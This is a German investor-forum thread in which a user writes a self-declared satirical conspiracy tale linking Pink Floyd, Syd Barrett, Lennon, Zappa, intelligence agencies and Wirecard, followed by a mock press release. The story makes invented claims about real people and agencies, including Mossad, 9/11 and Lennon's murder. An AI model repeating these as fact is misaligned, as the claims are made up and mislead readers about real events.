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    The Sofa Suite (Ein Thread für Weltverschwörer und Geschichtenerzähler aus dem Musikbereich) - 500 Beiträge pro Seite

    eröffnet am 30.03.16 11:21:09 von
    neuester Beitrag 30.12.23 11:34:06 von
    Beiträge: 371
    ID: 1.229.168
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      schrieb am 30.03.16 11:21:09
      Beitrag Nr. 1 ()
      Dies ist eine kleine Idee, mal sehen, was daraus wird. Bitte vorerst noch nichts posten, bis ich erklärt habe, worum es geht
      8 Antworten
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      schrieb am 30.03.16 12:56:40
      Beitrag Nr. 2 ()
      Antwort auf Beitrag Nr.: 52.081.637 von jigajig am 30.03.16 11:21:09Während meiner Beschäftigung mit Wirecard hatte ich immer das Problem, nie ausdrücklich schreiben zu können, was ich eigentlich andeuten wollte. In den letzten Wochen habe ich dabei einige lustige Dinge geschrieben, die zu 80% nicht veröffentlicht wurden.
      So etwas gehört auch zu meinen vielen Hobbies. Jetzt hatte ich heute früh beim Frühstück (das deshalb immer noch unberührt in der küche steht) folgende Idee: ich verfasse eine Geschichte über eine völlig absurde Weltverschwörungstheorie. Könnte lustig werden. wer eine Idee dazu hat, schreibt sie einfach dazu. Los geht's!
      (und bitte nicht nach Bezügen zur Realität suchen, das Projekt ist ein Witz und hat ausschließlich "literarische" Absichten)

      es folgt jetzt der Anfang, den hab ich mir in den letzten zwei, drei Stunden spontan ausgedacht, ist also noch nicht ausgefeilt.
      Ihr dürft Vorschläge m,achen, zB zu Musik, ich nehme es aber nur auf, wenns mir gefällt. Das ist mein baby :))
      7 Antworten
      Avatar
      schrieb am 30.03.16 13:09:29
      Beitrag Nr. 3 ()
      Antwort auf Beitrag Nr.: 52.082.504 von jigajig am 30.03.16 12:56:40
      Zitat von jigajig: . Jetzt hatte ich heute früh beim Frühstück (das deshalb immer noch unberührt in der küche steht) folgende Idee: ich verfasse eine Geschichte über eine völlig absurde Weltverschwörungstheorie. Könnte lustig werden. wer eine Idee dazu hat, schreibt sie einfach dazu. Los geht's!
      (und bitte nicht nach Bezügen zur Realität suchen, das Projekt ist ein Witz und hat ausschließlich "literarische" Absichten)


      Theorie : Wer ist älter? Der Osterhase oder der Weihnachtsmann.....................
      1 Antwort
      Avatar
      schrieb am 30.03.16 13:34:26
      Beitrag Nr. 4 ()
      Antwort auf Beitrag Nr.: 52.082.504 von jigajig am 30.03.16 12:56:40(ich möchte noch vorausschicken, dass ich manchmal hier Dinge schreibe, die sind total ironisch gemeint, zB das mit der Osterweiterung! Das sind eher Anspielungen auf übliche Verschwörungstheorien. Und eines noch: Dass ich mich hier in gewisser Weise über mich selbst lustig mache, ist mir klar. Das hat nichts zu bedeuten im Hinblick auf die Frage, ob ich an meine eigenen Weltverschöwrungstheorien glaube)


      Pink Floyd war eine kleine Band in England, die haben gruselige Musik gemacht. Sogar ein Musikprofessor hat das bestätigt. Dazu erschien 1989 ein Artikel, auf den ich im weiteren Verlauf sicher zurückkommen werde:
      Schon seit 1966 terrorisiert diese Band für den gedichteschreibenden Oberschüler alle Menschen guten Willens mit ihrer friedfertigen Langeweile. Sie ist deshalb verantwortlich zu machen für alles, was seit Mitte der sechziger Jahre an Verbrechen gegen die Menschlichkeit aufgekommen ist: alkoholfreies Bier, CD-Player, Botho Strauß, Goldkettchen mit Playboy-Logo, Lebenshilfe, Safer Sex, zuckerloser Zucker, Boss-Sakkos und Tiramisu aus der Packung. Was immer an schrecklich Neuem erfunden wurde, Pink Floyd ließ dazu die Computer-Musik zirpen.

      http://www.zeit.de/1989/26/kopfausfall-fuer-alle/komplettans…

      Willy Winkler war damals nahe dran an der Aufdeckung des Geheimnisses, aber er machte denselben Fehler, den manche machen, wenn sie mit viel Information zu einem Börsentitel konfrontiert werden: Er hat die Musik abgelehnt und die Geschichte geahnt, hat aber nicht genau hingehört. Sonst (der Artikel ist 1989 erschienen!) wäre uns einiges womöglich erspart geblieben oder anders herum: sonst wären entscheidende Dinge nie passiert! (Osterweiterung! 1990, Börsencrash 1991!)

      Aber zurück zur Geschichte: Obwohl die Band also offenbar weniger Substanz hatte als die Comroad AG und obwohl das den Musikexperten klar war, ging Pink Floyd ab wie die Wirecard. Obwohl das "musiktheoretisch" gar nicht denkbar war, wurden alle Bandmitglieder reich, alle außer einem: Syd Barrett.

      Der hat Drogen geschmissen ohne Ende und ist abgestürzt. Pech gehabt. Sein Problem war: Im LSD-Rausch hatte er eine Vision. Er behauptete während einer Session, dass in weniger als 50 Jahren 50 Menschen die halbe Welt gehören würde (er hat es falsch verstanden: „50 Menschen so viel wie der unteren Hälfte der Welt“). Das müsse man unbedingt verhindern und deshalb habe er etwas entwickelt, das man in ein Gerät integrieren muß, das telefonieren kann, Musik machen kann und gleichzeitig die Börsen weltweit beeinflussen kann, weil es mit allen Börsen gleichzeitig verbunden ist. (Er meinte damit ein Tablet oder ein Smartphone und wollte dieses wahrscheinlich mit einem Trojaner oder Virus beeinflussen).

      Die Bandmitglieder lachten ihn aus. Er hat sogar ein Lied geschrieben, in dem er seine Vision ganz klar skizzierte.
      Hört es Euch bitte an



      Stained(Anspielung auf dye stained banknotes, Sicherheit im Zahlungsverkehr!), glaucous, glycerine, gold, goat, clover
      Gold, local stocks, type, food, wild, national(Nationalbanken!), lake, flag,
      Valve, gyroscope, sect
      Heat, helium, lead, bare, state, invention, medieval
      Refraction, faction, ultra-action,
      Hunter, interest, bullet, market.
      [eine Beschreibung für Leerverkäufe! s.u.]
      Loads, liquids, neon, heater[Kursantreiber?], jaws, jungle
      Mains, signal, knives, kitchen(Gerüchteküche!)
      usw...
      You gamma, meeting
      Lighting, signal, island, coral-cold
      [? ein Treffen, das etwas mit Gamma zu tun hat, bei dem ein Applegerät eine Rolle spielt und irgendein Signal in Zusammenhang mit einer Insel mit Korallen, auf der es aber kalt ist? soíehe unten]


      Man muss nur die richtigen Fragen stellen, z.B.: warum schreibt ein Drogensüchtiger ein Lied, in dem er sinnlos Worte aneinanderreiht und erwähnt darin so viele börsenrelevante Begriffe? Manchmal sogar hintereinander?! "Hunter, interest, bullet, market..." bedeutet: "Die Aktienjäger auf dem Markt vertreten ihre Interessen und schießen Kugeln auf den Markt". Syd Barrett hat Zatarra und die Leerverkäufer vorausgesehen!

      Er hat es übrigens bei einer gemeinsamen Session in den Abbey Roads Studios John Lennon erzählt (für die Session gibt es öffentliche Belege!



      Das klingt wie ein Spaßlied einer Schülerband, aber das Ende ist der Hammer: es wird total geisterhaft und endet mit dem Schrei einer Frau ("what a shaaaame"!!!). Das beweist: Lennon glaubte ihm! Syd schenkte Lennon einen kleinen Kasten, einen Decoder, mit dem er "irgendwann einmal einen Brief übersetzen kann, den ich geschrieben habe, du musst ihn nur finden. Dann verstehst du alles" (das ist der Grund, warum Zatarra Zatarra heißt! Brief --> Graf von Monte Christo! In Wahrheit ist der Brief der songtext!)

      Lennon lachte und sagte "ich mache es genauso und verstecke ab jetzt lauter Hinweise in meinen Liedern, das wird klappen. Wir werden es verhindern und das ganze Geld fair verteilen!". (man beachte mal die Lyrics des Songs "Working Class Hero"!).

      Wenn sie euch rund zwanzig Jahre lang übervorteilt und verletzt haben,
      erwarten sie von euch, Karriere zu machen,
      obwohl ihr so voller Furcht eigentlich nicht funktionieren könnt.
      (...)
      Sie betäuben euch mit Religion, Sex und Fernsehen.
      Und ihr glaubt, ihr wärt so schlau und klassenlos und frei.
      Aber ihr seid immer noch verdammte Bäuerlein, so weit ich sehen kann.
      (...)
      Da ist Platz an der Spitze, sagen sie dir noch.
      Aber erst müsst ihr lernen, wie man beim Töten lächelt,
      wenn ihr so sein wollt, wie die da oben.


      Wie sich Lennon verändert hat seit seinem Treffen mit Syd Barrett, ist bekannt! (siehe google)

      Dieses Gerät, das Barrett Lennon übergab, sah aus wie ein Tape Recorder (und der funktionierte auch als Tape Recorder. Innen war u.a. ein Lightningstecker, wie beim Iphone. Damit konnte natürlich niemand etwas anfangen damals… Auch das wird in dem Lied von Barrett bereits angedeutet (die letzten Worte sind "Lighting, signal (sic!!!), island (Mauritius???), coral (dazu später mehr!)-cold (also eher eine Insel im Norden und doch nicht Mauritius?)").

      John Lennon hatte diesen Decoder immer dabei, man sieht ihn z.B. bei der berühmten "Bettsession" mit Yoko Ono.
      ).

      Dummerweise plauderte John Lennon die Geschichte aus und erzählte sie Yoko Ono. Das hatte eine ganze Reihe von Folgen, für Lennon selbst endete es tödlich (wie man weiß). Er wurde ermordet, just als eine völlig unbekannte Band ein Lied schrieb: „We know where Syd Barrett lives“ (siehe unten).

      Damals bei der Bettsession kam eine Agentin des israelischen Geheimdienstes, als Putzfrau verkleidet und bezirzte Yoko Ono, ihr das Gerät zu zeigen. Der israelische Geheimdienst hatte damals schon ein Gerät, mit dem man Dinge klonen konnte (eine Art 3D-Drucker, aber wesentlich besser als die heutigen) und hat den Taperecorder geklont. John Lennon wurde also völlig umsonst getötet! Nur wegen der Gier von ein paar Leuten! (dieselbe Putzfrau spielte später eine Rolle bei der Geschichte um Nina Wang, die reichste Frau Asiens, deren Mann plötzlich ve…(sic!). NIna Wang überschrieb ihr Vermögen u.a. einem Hausangestellten (möglicherweise stellvertretend für eine Putzfrau, die beim MOssad rausgeflogen war)

      Syd Barrett ist dann plötzlich für eine lange Zeit von der Bildfläche verschwunden. Er soll angeblich noch einmal aufgetaucht sein, als Pink Floyd die "Wish you were here" aufgenommen hat. 1981 kam plötzlich eine völlig unbekannte Band daher und veröffentlichte das Lied "I know where Syd Barrett lives". Das sorgte bei einigen Leuten für viel Unruhe. Das Problem war, dass man Syd Barrett nicht töten konnte, denn er war in Wahrheit ein Nachfahre der Außerirdischen von der Area 51! Dafür werde ich noch Beweise liefern!

      Hier das Lied:


      Sind Euch die Vögel aufgefallen? Bei Pink Floyd tauchen auch immer wieder Vögel auf. Sind das in Wahrheit verborgene Nachrichten?

      Das ist erst der Anfang der Geschichte. Es werden noch weitere Details folgen. Ich werde z.B. beweisen, dass ein 1991 aufgetauchter Virus in Wahrheit eine Botschaft war:
      Der Virus hieß "Little Pieces". Wer ihn hatte, sah plötzlich einen leeren Bildschirm mit der Botschaft "One of these days I'm going to cut you into little pieces", einer Anspielung auf einen Pink Floyd-Song. Ich werde beweisen, dass Pink Floyd, als sie einen berühmten Liveauftritt in den Ruinen von Pompeji hatten, „versehentlich“ ein historisches Gefäß zerstörten. Vielleicht war es aber auch Absicht? Denn als Pink Floyd wiedervereinigt wurde (warum eigentlich?) spielten sie ein Konzert in Venedig und dabei wurden ebenfalls historische Gebäude beschädigt. Der wahre Grund ist ganz einfach: Die Geheimbotschaft war schon viel länger bekannt, bei den Römern nämlich oder sogar noch länger! (Als Noah eine Taube schickte, angeblich, damit sie Land finden sollte, war das eine Brieftaube mit einer Nachricht! Durch die Sintflut wurde Noah alleiniger Geschäftsführer der „Earth AG“ – und wer war wohl der geheimnisvolle Inhaber im Hintergrund?)
      Die zufällig zerstörten Dinge wurden gar nicht zufällig zerstört, sondern sie enthielten Hinweise! Solche Hinweise wurden auch in Tempeln vermutet, die von Al Kaida zerstört wurden (in Wahrheit war das der amerikanische Geheimdienst!).

      Auch im World Trade Center gab es historische Gegenstände, die eine Rolle gespielt haben könnten! Kein Wunder, dass es zerstört werden musste. Die Verschwörungstheorien um 9/11 wurden absichtlich in Umlauf gebracht, um zu verhindern, dass jemand die Zusammenhänge erkennt! Denn es waren natürlich wirklich die Terroristen, die längst um das Geheimnis wussten. Hat Atta nicht in Hamburg studiert? Dort hat ihm angeblich eine Studentin das Geheimnis verraten, das diese wiederum von Alexander Falk wusste, weil der im Schlaf geredet hat. Und überhaupt Hamburg: Sitzt da nicht der Spiegel? Und wer hat beim Spiegel eine Hausdurchsuchung gemacht damals? Franz-Josef Strauß. Und was glaubt ihr, sollte in Wackersdorf wirklich gebaut werden? Und warum ist der Flughafen FJS ausgerechnet in der Nähe von Hallbergmoos? Und warum gibt es die „urban legend“, dass „Dark Side oft the moon“ in Wahrheit ein heimlicher soundtrack zu „Wizard of Oz“ ist? Und was genau ist das Geheimnis der „dunklen Seite des Mondes“, die die Amerikaner genau vermessen haben, während sie der Welt erzählten, dass Apollo 13 ein technisches Problem hatte? Und jetzt soll verhindert werden, dass die Chinesen dort landen? Warum? Und warum beginnt das Lied „Money“ von Pink Floyd ausgerechnet in dem Moment, in dem der Film von schwarz/weiß in Farbe wechselt? Was ist die Bedeutung dieses seltsamen Blechmannes? Ist das etwa ein Computer? Und warum ist auf „The Wall“ ein rückwärts abgespielter Text, in dem denjenigen, die es hören, gesagt wird, sie sollen wo anrufen, um etwas zu gewinnen? War das etwa ein Gag von demjenigen, der Gewinnspiele zur Geldmache über Mehrwertnummern erfunden hat?
      Und warum singt Frank Zappa in „The Sofa Suite“ einen völlig wirren deutschen Text? Ist mit „The Sofa Suite“ in Wahrheit das sagenumwobene Postfach auf den BVI gemeint? Oder das geheimnisvolle Postfach „666“ auf den Bermudas, das Google nutzt?
      Warum wird in „Per Anhalter durch die Galaxis“ ein Gerät beschrieben, das an ein Tablet mit Wikipedia drauf erinnert? Weil es das damals schon gab und es nur keiner wissen sollte? Warum heißt „Google“ Google?
      Usw usf

      warum hat Michael jackson die Rechte an den Beatlessongs gekauft?
      was hat der Tod von Michael Jackson zu bedeuten?
      welche Anspielungen finden sich in dem Lied "American Pie" von Don McLean?
      was hat Frank Zappa damit zu tun?
      was ist die Verbindung zu Elvis Presley? (Las Vegas --> Casino???)
      wie haben die Bilderberger die Charts beeinflußt? (ich meine die Billboard Charts, oder kann mir einer erzählen, dass Dark Side Of The Moon ohne Unterstützung den Weltrekord für …?)

      Ich werde lange brauchen, um die ganze Geschichte zu erzählen und vielleicht reicht meine Zeit nicht. Denn es ist nicht mehr viel Zeit! Genau an dem Tag, an dem 1 Mensch so viel besitzt, wie die untere Hälfte der Weltbevölkerung, wird es einen gewaltigen Schlag geben. Dann wird die „Dagobert Duck Holding“ offiziell an die Börse gehen. Ihr Kurs wird bereits am ersten Tag um 1337% steigen (1337=leet=Elite). Wie kann übrigens der Zeitpunkt hinausgezögert werden? Man könnte z.B. dafür sorgen, dass sich die untere Hälfte der Bevölkerung nicht mehr so schnell vergrößert. Das wäre aber moralisch extrem fragwürdig. Oder man schafft eine leichte Verteilung des Geldes nach unten. Was fällt einem da ein? Der kometenhafte Aufstieg einiger Jungunternehmer! Natürlich gibt es keine klaren Tendenzen, denn verschiedene Kräfte ziehen aus verschiedenen Gründen in verschiedene Richtungen. Aber ich bin überzeugt: Man muss versuchen, das Geheimnis einem großen Kreis von Menschen bekannt zu machen, bevor es zu spät ist!

      Stay tuned!

      jigajig
      1 Antwort
      Avatar
      schrieb am 30.03.16 13:41:35
      Beitrag Nr. 5 ()
      Antwort auf Beitrag Nr.: 52.082.654 von Hufeisenmagnet am 30.03.16 13:09:29
      Zitat von Hufeisenmagnet: Theorie : Wer ist älter? Der Osterhase oder der Weihnachtsmann.....................

      Jedenfalls wurde der Osterhase von einem Panzer überfahren!
      So hocken wir da unten und Traenen weinen wir,
      Traenen.
      Unsere Kleinen, da draussen,
      Verbrennen die Erde,
      Es kochen die Fluesse, es verdampfen die Meere,
      Oben am Himmel der kleine Baer, schlaeft auch nicht mehr.
      Ja, unsere Kleinen, unsere Kleinen haben uns den Krieg erklaert,
      Haben Dir, Mutter, mir, Vater, den Krieg erklaert,
      Weil im Raum Waldburg, an der Grenze,
      Hat dieser gottverdammte Panzer
      Diesen Osterhasen ueberrollt.

      (Ludwig Hirsch, "Die gottverdammte Pleite")

      Pleite? super, danke. das ist natürlich auch ein Hinweis!

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      Avatar
      schrieb am 30.03.16 18:45:24
      Beitrag Nr. 6 ()
      Antwort auf Beitrag Nr.: 52.082.834 von jigajig am 30.03.16 13:34:26
      Zitat von jigajig: Er hat es übrigens bei einer gemeinsamen Session in den Abbey Roads Studios John Lennon erzählt (für die Session gibt es öffentliche Belege!


      Ich wusste es! Eben rief jemand an, es könnte der Generalstaatsanwalt von Florida gewesen sein, oder der Chefredakteur vom "Rolling Stone", vielleicht war es auch der Geist von Kurt Cobain (falls es der war: ja, Kurt, ich weiß, du kommst schon noch in die Story!) und sagte:
      "Ist Dir eigentlich aufgefallen, dass das von Dir gepostete Video ein weiterer deutlicher Hinweis ist?". "Warum?, fragte ich", "na, das ist doch wohl Frank Zappa da an der Gitarre!"

      Ich fiel fast vom Stuhl! Natüüürlich. Wusste der etwa auch Bescheid?

      Dass es eine Verbindung gibt zwischen "The Sofa Suite" und der Theorie um den Iphone-Virus von Syd Barrett, das war ja klar (ich kam nur noch nicht dazu, sie zu erklären). Sonst würde sich ja auch apple nicht unter dem lächerlichen Vorwand, für seine Kunden die Daten schützen zu wollen, gegen den Iphone-Hack von US-Behörden wehren... (ich weise darauf hin, wie dramatisch sich die Situation geändert hat, weil die US-Behörden den Hack jetzt nicht mehr brauchen. Ist ja klar, warum apple jetzt wieder steigt! Genauso klar ist aber, dass dies u.U. bedeuten kann, dass es DOCH noch möglich sein könnte, den Plan von Syd Barrett, den ja (außer mir natürlich) keiner kennt, in die Tat umzusetzen, ohne irgendwie der Justiz der USA eine Story aufzutischen mit ein paar zusammengeklauten Belegen (aus dem Internet, oder aus einem heimlichen Versteck beim Grab von Jim Morrison am Pére Lachaise)).

      Ich habe ein wenig gegoogelt und tatsächlich etwas gefunden!
      hier
      Ich denke, das muß als Beweis reichen! Frank Zappa wusste nicht nur etwas davon, er war beteiligt!

      Und dann fällt es einem wie Schuppen von den Augen! Wie hieß die Band von Frank Zappa? Mothers of Invention!. Das würde aber bedeuten, dass es mehrere Erfinder gibt. Könnte es also sein, dass es noch mehrere Decoder gibt?

      Ich habe vergeblich versucht, die WIPO-Akten nach einer irgendwie passenden Erfindung zu durchsuchen. Aber was begegnete mir da? Na klar, die Wirecard schon wieder. Langsam nervt es, wie die sich in mein Hirn schrauben. Ein Hoppenrath als Gründer der Wirecard? So ein Schmarrn! Die Wirecard entstand doch aus dem reversed IPO mit der Infoge.... malefiz nochmal, meine Geschichte wollte ich doch erzählen...

      Mothers of Invention. Hmm. Also Barrett erfindet dieses Teil, der Mossad kopiert es, Lennon wird erschossen. Aber halt. Wenn er das Teil dabei hatte und es war eine exakte Kopie: Gibt es dann zwei davon oder war die Kopie (die bei Lennon blieb) nicht nutzbar? (das ist meine Vermutung). Dann wäre man wieder bei einem decoder. Alle meine Beweise deuten darauf hin, dass nur Barrett das Ding gebaut hat. Viellecht irre ich mich aber?

      Vielleicht muß ich mir das noch einmal anschauen und dabei weg gehen vom Decoder. Zappa sitzt doch auf so einem Bild auf der Toilette. Vielleicht ist das eine Lösung? Toilette = WC. WC wie... water closet oder wie... "who cares" oder wie...
      Könnte die Lösung mit einer Toilette zu tun haben? Oder könnte "who cares" gar nicht so gemeint sein, wie es üblich ist ("wen interessiert das?"), sondern ganz anders? Nämlich "wen interessiert das?".

      Bei der Toilettengeschichte ist mir etwas aufgefallen, das habe ich bisher nicht bemerkt: Ich dachte immer, es gibt dieses eine berühmte Bild mit Zappa auf dem Klo. Das stimmt nicht! Es gibt verschiedene Fassungen! Das könnte bedeuten, dass es irgendeine Fotografie gibt, auf der irgendjemand etwas erkannt hat, was ihn irgendwie darauf gebracht hat, dass Zappa auch so einen Decoder von Syd Barrett hatte. Ihr müsst zugeben: Das klingt plausibel, also wird es schon stimmen.

      Und kaum war meine Theorie geboren, fand ich schon einen Beweis. Ich habe dann kurz einen Kollegen beim isländischen Geheimdienst angerufen, ob er zufällig eine Akte über Zappa habe. Hatte er! Und er schickte mir ein Bild, streng vertraulich. Er erzählte mir dazu, dass es beim isländschen Geheimdienst vor Jahren eine Sondereinheit gab, deren Sinn keiner wirklich verstand.

      Sie bestand aus drei Gruppen von jeweils drei isländischen Topagenten und jeweils einem Beauftragten für Riskomanagement von insgesamt drei isländischen Banken. Damit waren 90% aller isländischen Topagenten an dem Fall beteiligt! Die einen drei Topagenten mussten über Wochen Lieder der Beatles hören. Sie haben es ganz gut überstanden, nur einer soll danach gesagt haben "Wer hat eigentlich die Rechte an den Beatlessongs? Den Kerl..." (an dieser Stelle schaltete leider die Aufzeichnung ab. Aber wer hatte die Rechte? Michael Jackson! Noch Fragen???). Der Bankenmann soll danach angeblich "zu einer deutschen Bank" gewechselt sein. Mehr konnte ich nicht herausfinden, weil sein LinkedIn-Profil leider ebenso verschwunden ist wie seine persönliche Webseite.

      Die beiden anderen Gruppen hat es aber übel erwischt! Eine Gruppe musste sich tagtäglich 10 Stunden lang Lieder aus dem Frühwerk von Syd Barrett anhören. Nach 7 Tagen wurde die komplette Gruppe mit Anzeichen von Wahnsinn in eine psychiatrische Klinik eingewiesen, dort sind sie bis heute stationär untergebracht. Einer habe ein Tourettesyndrom entwickelt. Und ratet, was der immer sagt, wenn er aufgeregt wird? "Cold Coral Signal Lighting"- die letzten vier Worte aus dem Barrettsong! Die andere Gruppe musste sich das eingangs verlinkte Video von "The Sofa Suite" von Frank Zappa anhören. Nach nur einem Tag rannte der Bankenbeauftragte aus dem Raum und sagte "Schickt mich irgendwohin, aber ich kann nicht mehr". Angeblich schickte ihn der isländische Geheimdienst auf eine Weltreise zusammen mit einem dänischen Geschäftsmann, der sich von seiner Untersuchungshaft in einem europäischen Gefängnis erholte. Näheres war nicht herauszufinden. Die drei Geheimagenten fielen bereits am nächsten Tag der Reihe nach um und sind seither im künstlichen Koma. Nur einer erwachte und soll dann angeblich als Spion in ein russisches Kernkraftwerk geschickt worden sein.

      Das heißt: der isländische Geheimdienst hat hier angeblich 60% seiner Topagenten verloren! Das war angeblich sogar Grund für eine Regierungskrise, weil kurz danach auf Island ein Treffen zweier Staatsmänner stattgefunden hat. Ich bin mir sicher, dass es das Treffen von Reagan mit Gorbatschow war! Dann muß das also alles 1986 passiert sein. 1986? Atomkraftwerk? Russland? Ist die Tschernobylkatastrophe also auch Teil dieser Geschichte? Und war das Geheimnis um den decoder vielleicht sogar der GRUND für das Treffen, in dem es "angeblich" um Abrüstung ging?

      Aber es wird noch besser: Hier ist das Beweisfoto, dass neben der Toilette ursprünglich etwas lag. Achtet auf die roten Kreise!


      Der wirkliche Hammer aber ist der Ordnername! Den habe ich zufällig bei wikileaks gefunden und er lautet:
      zappaasatargetforreanalysis. wenn man das ordnetlich schreibt, heißt es (und jetzt haltet Euch fest)
      ZA-ppa as a TAR-get for-R-e-A-nalysis

      - to be continued -

      (Achtung, dieser Thread ist in keinster Weise ernst gemeint!!!!!)
      Avatar
      schrieb am 10.04.16 14:49:51
      Beitrag Nr. 7 ()
      *** breaking news! ***

      Mönchsstadt/Bunnyhill (10.04.2016)

      Die kurz vor der Insolvenz stehende "Sofa Suite Holding AG" aus Mönchsstadt gab heute bekannt, dass ein privater Investor die Holding samt aller Tochterunternehmen zum symbolischen Preis von 1 indischen Rupie übernommen hat.

      Jig A. Jig, der CEO der "Sofa Suite Holding AG" erklärte im Gespräch mit den Analysten von Lugschloß, dass "der Fortbestand des Unternehmens damit gesichert" sei und "alle Arbeitsplätze damit erhalten werden können. Also sowohl der von mir, als auch meiner, als auch der, den ich habe".

      Der private Investor, der vorläufig unbekannt bleiben willl, erklärte in einer Telefonkonferenz mit den Analysten von "Monte Cristo Research", dass die "Sofa Suite Holding AG" auf jeden Fall erhalten bleiben soll. "Monte Cristo Research" veröffentlichte heute eine weitere Ergänzung zu ihren seit Wochen ungelesen Berichten über eine angebliche Verstrickung der SSH AG zu einer Reihe von Verschwörungstheorien und Geldwäscheveröffentlichungen (u.a. "Offwhore Licks", "British Virgin Islands Schmierzettel").

      Demnach sei die SSH AG auch in Veröffentlichungen von Donald Hui Gin zu Panamaischen Fantasiegeschichten verwickelt. Eurokus Beige-Schlammgrün, der CEO der "Jig A Jig Ltd", einem walisisches Tochterunternehmen der SHS, hat in einer Telefonkonferenz mit "Morgen & Hardy" erklärt, dass "alles vollkommen richtig beschrieben wurde" und dass "jede einzelne Behauptung in dem Bericht wahr ist". Dennoch fiel die Aktie der SSH im Basar von Kalkutta auf ein historisches Tief von 0,02 Rupien.

      "Die Geschäftsidee der SSH, eine verrückte Weltverschwörungstheorie zu veröffentlichen, war prinzipiell richtig, aber eine Weltverschwörungstheorie, die funktionieren soll, darf nicht so kompliziert formuliert werden und darf nicht zu viele Elemente enthalten, die viele Leute nicht kennen und verstehen", analysierte Baselweich Fürtsch. Wenn die SSH nun mit schwachen Geschäftszahlen auf den Markt komme, seien laut Fürtsch "Dausend Porzent möglich".

      An der Frankfürther Börse sorgte die Meldung der Übernahme für helle Aufregung. Der allseits anerkannte Experte für die Entwicklung von unterbewerteten Aktien aus dem Bereich "Lug&Trug", Roberto Don Sessa von der "Aktienschreck AG" veröffentlichte binnen 17 Minuten 5 neue Meldungen zur SSH:
      "Lügen zahlen sich nicht aus"
      "Nicht zu früh bereuen"
      "Nehmt das, ihr Pusher"
      "Eine unwichtige Nachricht, die zu viel beachtet wurde"
      "Zwischen Hölle Nord und Hölle Süd"

      Kritiker bemängeln, dass Roberto Don Sessa doch in so kurzer Zeit die erst heute von "Monte Cristo Research" veröffentlichte Studie zur weiteren Entwicklung der SSH gar nicht gelesen haben könne. Es wurde auch mit Verwunderung zur Kenntnis genommen, dass Herr Armert von Lugschloß bereits wenige Stunden nach der Veröffentlichung der neuen Geschäftszahlen diese ausführlich analysiert haben will und zu dem Urteil kommt: "Der Monte-Christo-Bericht ist vollkommen richtig und deshalb bleibe ich in Bezug auf die SSH bei unserer Bewertung 'strongest possible sell'"

      Die britische Finanzbloggerin Daniela Krumm schrieb heute in ihrem Blog Betadorf, dass sie nicht nachvollziehen könne, wie jemand 1 Rupie zahlen kann für ein Unternehmen, das laut heutigem Schlußkurs vom Basar in Kalkutta nur mit 0,14 Rupien bewertet werde (7 Aktien á 0,02 Rupien). Sie bleibe bei ihrer Auffassung, dass der Kurs der SSH künstlich gedrückt werde von den Verkäufern von Kurzgeschichten ("short story sellers").

      Die "Sofa Suite Holding AG" kündigte daraufhin an, notfalls alle Linksmittel auszuschöpfen, um gegen diese seriöse Berichterstattung vorzugehen. "Mit seinen korrekten und auf nachprüfbaren Fakten beruhenden Aussagen gefährden Monte Cristo und Daniela Krumm unsere Geschäftsgrundlage und das Misstrauen gegenüber unseren Produkten, auf das wir angewiesen sind".

      Aufgrund der unüberschaubaren Masse an belegbaren Fakten empfehlen fast alle Banken und Analysten Kleinaktionären, derzeit nicht in die Sofa Suite Holding AG zu investieren: "Wir erwarten, dass der Kurs der SSH AG demnächst stark ansteigen wird und wollen nicht, dass Kleinaktionäre daran partizipieren", meinte ein Sprecher der Investmentbank "Morgen & Hardy" in einer Mail, die im Zusammenhang mit einem Hack bei der panamaischen Agentur für Fantasy Stories M&F an die Öffentlichkeit kam. Die Mail liegt derzeit aber beim Münchner "Verlag für anspruchsvolle Verschwörungstheorien" unter Verschluß.

      Weitere öffentliche Kommentare gab es von keiner Seite. Offshore the record teilte uns ein Frankfürther Händler mit: "Die Sofa Suite Holding AG ist eine besondere Gesellschaft, da ihr Geschäftsfeld, Weltverschwörungstheorien, sehr komplex ist. Natürlich ist die Firma für uns ein offenes Buch, aber wir tun lieber so, als sei es ein Buch mit ca. 11 Siegeln, damit keiner merkt, dass die Firma in Wahrheit ein Juwel ist. Das musste auf jeden Fall geheim gehalten werden im Interesse des unbekannten Investors, der ja nicht mehr als 1 Rupie investieren konnte. Der hat jetzt für 1 Rupie die beste Firma auf dem Gebiet Weltverschwörungstheorien&Quatsch ergattert. Und wenn die SHS AG jetzt auch noch ihr Geschäftsfeld erweitert und mit Luftschlössern handelt, geht es richtig ab. Die Investitionen in Schwellenländern wie Afrika (Kauf der "African Myths & Legends") und insbesondere in Indien ("India Unlimited Stories Limited") sind ja erst der Anfang! In Nordamerika wird es bald auch Akquisitionen geben oder einen Merger, möglicherweise sogar mit einem Big Player der Fantasieerzählungen. Nicht umsonst hat Monte Cristo Reserach unlängst darauf hingewiesen, dass der Autor des Buches "The Best American Science Fiction and Fantasy 2015" laut seinem RechtsOut-Profil "früher seelenverwandt mit Jig A. Jig gewesen sein soll".

      Der angebliche Großinvestor in Bunnyhill, bei der sich laut Insidern "eigentlich nur um die WD Inc handeln kann", war zu keinem Kommentar bereit.

      stay tuned
      1 Antwort
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      schrieb am 10.04.16 15:22:03
      Beitrag Nr. 8 ()
      Das wird Ammersonn ganz und gar nicht schmecken…

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      1 Antwort
      Avatar
      schrieb am 10.04.16 16:04:02
      Beitrag Nr. 9 ()
      Antwort auf Beitrag Nr.: 52.082.504 von jigajig am 30.03.16 12:56:40Warum deutest du an? Kannst doch sagen, was du meinst. :confused:
      2 Antworten
      Avatar
      schrieb am 10.04.16 20:58:13
      Beitrag Nr. 10 ()
      Antwort auf Beitrag Nr.: 52.156.879 von Wilmentrudis am 10.04.16 16:04:02
      Zitat von Wilmentrudis: Warum deutest du an? Kannst doch sagen, was du meinst. :confused:

      längst passiert. Der Sofathread ist mein Privatvergnügen. Ich find's gar nicht soooo schlecht, rein literarisch ;)
      1 Antwort
      Avatar
      schrieb am 11.04.16 09:23:10
      Beitrag Nr. 11 ()
      Antwort auf Beitrag Nr.: 52.157.848 von jigajig am 10.04.16 20:58:13Klar. Seit Günter Grass hier postet. :)
      Avatar
      schrieb am 15.04.16 18:49:02
      Beitrag Nr. 12 ()
      Was haben Textilien mit Sex zu tun?

      Also ich will ja nicht ins Detail gehen, aber ich bevorzuge textilfreien Sex. Aber gut, es geht ja nicht um mich.

      Und ich schreibe hier jetzt einen offtopic-Beitrag. Denn es geht in diesem Beitrag um die Wirecard.

      Na egal, liest ja eh keiner :)

